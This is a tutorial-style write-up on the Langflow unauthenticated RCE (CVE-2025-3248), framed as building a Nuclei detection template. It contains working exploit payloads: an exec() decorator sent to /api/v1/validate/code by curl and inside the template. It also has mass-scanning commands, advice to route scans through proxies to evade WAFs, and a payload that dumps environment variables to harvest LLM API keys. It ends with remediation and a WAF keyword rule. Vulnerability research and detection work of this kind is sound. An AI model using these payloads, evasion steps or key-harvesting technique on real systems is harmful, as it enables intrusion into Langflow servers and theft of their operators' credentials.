Writing a Custom Nuclei Template to Detect the Langflow Unauthenticated RCE (CVE-2025-3248)

Technical Analysis: CVE-2025-3248 Unauthenticated RCE in Langflow

CVE-2025-3248 represents a critical failure in the input validation logic of Langflow, an open-source visual framework for building multi-agent AI applications. The vulnerability resides in the /api/v1/validate/code endpoint, which was designed to check the syntax and validity of Python code snippets used within CustomComponents. In versions prior to 1.3.0, this endpoint was exposed without any authentication or authorization checks. More significantly, the backend logic used Python’s ast.parse() and compile() functions followed by a direct exec() call to process the submitted code. While the developers intended only to validate the structure of the code, they failed to account for Python's immediate evaluation of decorators and default argument values during the compilation of the Abstract Syntax Tree (AST).

The Decorator Execution Primitive

The root cause of the RCE is a fundamental characteristic of Python's execution model: decorators are evaluated at the moment a function is defined, not when it is called. When Langflow receives a POST request at the validation endpoint, it attempts to parse the submitted Python code into an AST and then compiles that AST to verify its integrity. Because the compilation process triggers the evaluation of decorator expressions, an attacker can embed malicious logic within a decorator to achieve code execution during the "validation" phase. This bypasses the need for the code to ever actually "run" in the traditional sense within a flow.

Consider the following payload which uses the exec() function as a decorator. When the Python interpreter (on the server) compiles this definition, it immediately executes the string passed to the decorator:

@exec("import os;os.system('touch /tmp/rce_poc')")
def vulnerability_check():
    pass

To extract command output through the HTTP response, a common technique involves wrapping the command in a subprocess call and raising it as an Exception. Langflow's error handling frequently returns the exception message in the JSON response, providing a direct channel for data exfiltration.

Phase 1: Discovery and Attack Surface Mapping

Langflow typically listens on port 7860. Identifying vulnerable instances requires scanning for this specific service across target subnets. During large-scale engagements, Zondex is highly effective for discovering exposed services and internet-wide reconnaissance to find Langflow web interfaces that might be accidentally exposed to the public internet. Once a list of targets is generated, we verify the presence of the /api/v1/validate/code endpoint.

A simple reconnaissance script using httpx can filter for the Langflow version or specific headers:

# Scanning for potential Langflow instances on default port
cat targets.txt | httpx -p 7860 -path "/api/v1/validate/code" -status-code -title

To maintain anonymity and bypass IP-based rate limiting during these discovery phases, routing traffic through a reliable proxy service like GProxy ensures that scanning activity is distributed across multiple exit nodes, reducing the likelihood of detection by WAFs or perimeter security appliances.

Phase 2: Manual Proof of Concept

Before automating with Nuclei, it is essential to validate the vulnerability manually. We send a JSON-formatted POST request to the target endpoint containing the malicious decorator payload. The objective is to trigger a whoami command and capture the output in the response body.

Request Syntax

curl -X POST "http://[target_ip]:7860/api/v1/validate/code" \
     -H "Content-Type: application/json" \
     -d '{
       "code": "@exec(\"import subprocess;raise Exception(subprocess.check_output(['\''id'\''],text=True))\")\ndef poc(): pass"
     }'

Expected Output

A vulnerable server will return a 500 Internal Server Error (or similar) containing the results of the id command within the error description:

{
  "detail": "Error validating code: uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)"
}

Phase 3: Developing the Nuclei Template

To scale this detection, we create a custom Nuclei template. This template focuses on the /api/v1/validate/code endpoint and uses a payload designed to be non-destructive yet clearly indicative of code execution. We will look for specific substrings like uid= or groups= which appear in the output of the id command.

id: CVE-2025-3248-langflow-rce

info:
  name: Langflow Unauthenticated RCE (CVE-2025-3248)
  author: security-researcher
  severity: critical
  description: |
    Langflow versions prior to 1.3.0 are vulnerable to unauthenticated RCE via the 
    /api/v1/validate/code endpoint. This occurs due to unsafe execution of 
    Python decorators during AST compilation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3248
  tags: cve,cve2025,langflow,rce,unauth,python

http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "code": "@exec(\"import subprocess;raise Exception(subprocess.check_output(['\''id'\''],text=True))\")\ndef check(): pass"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: status
        status:
          - 500
          - 422
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - "uid=[^\\n]+"

Refining the Matcher

Because different versions of Langflow might handle the exception differently, the status code matcher is broad (500, 422, or 200). The primary validation is the presence of the uid= string in the response body. The extractor helps identify the specific user context (e.g., root vs langflow) directly in the Nuclei output.

Phase 4: Execution and Mass Validation

With the template ready, we can run it against the target list identified in Phase 1. For organizations managing a vast attack surface, integrating this template into Secably allows for automated web security testing and continuous monitoring for newly deployed vulnerable Langflow instances.

The following command executes the custom template against a list of URLs:

nuclei -t langflow-rce.yaml -l targets.txt -o results.txt -v

The -v flag provides verbose output, allowing us to see the specific uid extracted from each vulnerable host. If the output confirms successful execution, the next step is typically to exfiltrate environment variables. Langflow instances often store sensitive API keys for LLM providers (OpenAI, Anthropic, Gemini) in their environment variables, which can be harvested using the following payload adjustment:

@exec("import os;raise Exception(str(os.environ))")
def exfiltrate(): pass

Remediation and Mitigation

The vulnerability was addressed in Langflow 1.3.0 by moving the /api/v1/validate/code endpoint behind the get_current_active_user dependency. This ensures that only authenticated users with sufficient privileges can access the code validation logic. Additionally, system administrators should ensure that Langflow is not exposed directly to the internet without a VPN or a Zero Trust Network Access (ZTNA) solution. If public access is required for a chatbot frontend, the backend management API (port 7860) must be strictly firewalled to prevent access to the /api/v1/ administrative routes.

For temporary mitigation on older versions, a Web Application Firewall (WAF) rule can be implemented to block POST requests to /api/v1/validate/code that contain the @exec or __import__ keywords in the JSON body, although such pattern-based blocking is often bypassable via Python's flexible syntax.